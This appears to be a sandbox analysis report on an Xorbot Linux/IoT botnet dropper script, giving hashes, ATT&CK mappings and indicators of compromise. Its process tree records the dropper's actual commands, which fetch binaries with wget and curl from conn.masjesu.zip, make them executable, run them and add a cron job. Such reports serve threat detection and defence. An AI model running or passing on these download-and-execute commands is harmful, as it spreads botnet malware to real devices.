xorbot | 7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 19:33

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General

Target

bins.sh
Size

10KB
MD5

0d6abf13920f9568901114a1d17cdfd6
SHA1

8f51702b2844fafb5952fa36d21c2b47de532b5f
SHA256

7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb
SHA512

0e8c146bd5d415028be102875ebb16d2b898f3923252b11cfeb179fd58a8ef36a54772709f514d6297449e8fdb4246740084f9ed93dad9bdd675905cdf67b795
SSDEEP

192:RdZtmvfC3A3k3x3+3e3LjHkJpgL5d5l5uFpY90cva22sYaGiQa3vvLCLuLzm+v0q:RdZtmvfC3A3k3x3+3e3LjHkJpgLHzJ9p

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1735) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1500	chmod
1508	chmod
1518	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	1501	bins.sh
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	1509	bins.sh
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	1519	bins.sh

Renames itself 1 IoCs

pid	Process
1520	bins.sh

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1dB4Qw	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1009/cmdline	bins.sh
File opened for reading	/proc/1099/cmdline	bins.sh
File opened for reading	/proc/1592/cmdline	bins.sh
File opened for reading	/proc/1596/cmdline	bins.sh
File opened for reading	/proc/1646/cmdline	bins.sh
File opened for reading	/proc/1693/cmdline	bins.sh
File opened for reading	/proc/1721/cmdline	bins.sh
File opened for reading	/proc/168/cmdline	bins.sh
File opened for reading	/proc/1187/cmdline	bins.sh
File opened for reading	/proc/1571/cmdline	bins.sh
File opened for reading	/proc/1586/cmdline	bins.sh
File opened for reading	/proc/1683/cmdline	bins.sh
File opened for reading	/proc/1722/cmdline	bins.sh
File opened for reading	/proc/1727/cmdline	bins.sh
File opened for reading	/proc/26/cmdline	bins.sh
File opened for reading	/proc/129/cmdline	bins.sh
File opened for reading	/proc/158/cmdline	bins.sh
File opened for reading	/proc/170/cmdline	bins.sh
File opened for reading	/proc/624/cmdline	bins.sh
File opened for reading	/proc/1553/cmdline	bins.sh
File opened for reading	/proc/1566/cmdline	bins.sh
File opened for reading	/proc/1631/cmdline	bins.sh
File opened for reading	/proc/949/cmdline	bins.sh
File opened for reading	/proc/1561/cmdline	bins.sh
File opened for reading	/proc/1644/cmdline	bins.sh
File opened for reading	/proc/1694/cmdline	bins.sh
File opened for reading	/proc/1753/cmdline	bins.sh
File opened for reading	/proc/10/cmdline	bins.sh
File opened for reading	/proc/1364/cmdline	bins.sh
File opened for reading	/proc/1627/cmdline	bins.sh
File opened for reading	/proc/1650/cmdline	bins.sh
File opened for reading	/proc/1728/cmdline	bins.sh
File opened for reading	/proc/1739/cmdline	bins.sh
File opened for reading	/proc/1748/cmdline	bins.sh
File opened for reading	/proc/1757/cmdline	bins.sh
File opened for reading	/proc/154/cmdline	bins.sh
File opened for reading	/proc/157/cmdline	bins.sh
File opened for reading	/proc/1680/cmdline	bins.sh
File opened for reading	/proc/1749/cmdline	bins.sh
File opened for reading	/proc/1756/cmdline	bins.sh
File opened for reading	/proc/1567/cmdline	bins.sh
File opened for reading	/proc/2/cmdline	bins.sh
File opened for reading	/proc/7/cmdline	bins.sh
File opened for reading	/proc/85/cmdline	bins.sh
File opened for reading	/proc/155/cmdline	bins.sh
File opened for reading	/proc/701/cmdline	bins.sh
File opened for reading	/proc/1177/cmdline	bins.sh
File opened for reading	/proc/1258/cmdline	bins.sh
File opened for reading	/proc/468/cmdline	bins.sh
File opened for reading	/proc/947/cmdline	bins.sh
File opened for reading	/proc/1312/cmdline	bins.sh
File opened for reading	/proc/1641/cmdline	bins.sh
File opened for reading	/proc/1653/cmdline	bins.sh
File opened for reading	/proc/1664/cmdline	bins.sh
File opened for reading	/proc/1711/cmdline	bins.sh
File opened for reading	/proc/1724/cmdline	bins.sh
File opened for reading	/proc/1552/cmdline	bins.sh
File opened for reading	/proc/1598/cmdline	bins.sh
File opened for reading	/proc/1599/cmdline	bins.sh
File opened for reading	/proc/1758/cmdline	bins.sh
File opened for reading	/proc/536/cmdline	bins.sh
File opened for reading	/proc/699/cmdline	bins.sh
File opened for reading	/proc/1069/cmdline	bins.sh
File opened for reading	/proc/1582/cmdline	bins.sh

System Network Configuration Discovery 1 TTPs 11 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1476	wget
1480	curl
1504	wget
1505	curl
1507	busybox
1529	wget
1499	busybox
1512	wget
1513	curl
1515	busybox
1530	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	wget
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	curl
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	wget
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	curl
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	wget
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1474
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1475
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1476
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1480
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - System Network Configuration Discovery
  PID:1499
- /bin/chmod
  chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:1501
- /bin/rm
  rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:1503
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1504
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1505
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - System Network Configuration Discovery
  PID:1507
- /bin/chmod
  chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:1509
- /bin/rm
  rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:1511
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1512
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1513
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - System Network Configuration Discovery
  PID:1515
- /bin/chmod
  chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1522
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1524
- /bin/rm
  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - System Network Configuration Discovery
  PID:1529
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - System Network Configuration Discovery
  PID:1530

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.1dB4Qw

Filesize
210B

MD5
fadc2fb18b835719e02be40a73089840

SHA1
93d1edb9d56df1a9f85cf6a605201cef7ecf62f9

SHA256
e8212c5ba6d6eae1f3047174570b1b536bb99b97260cd9a59cb5d4caa08238a4

SHA512
8634c90b475df8b7aa048afbdde7a302caa4bac8ae142dd766101c39045bfedea8666de5e643ae8ef7a72517b35a92a558e87acc651f922c1eb95c72e03e6284

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads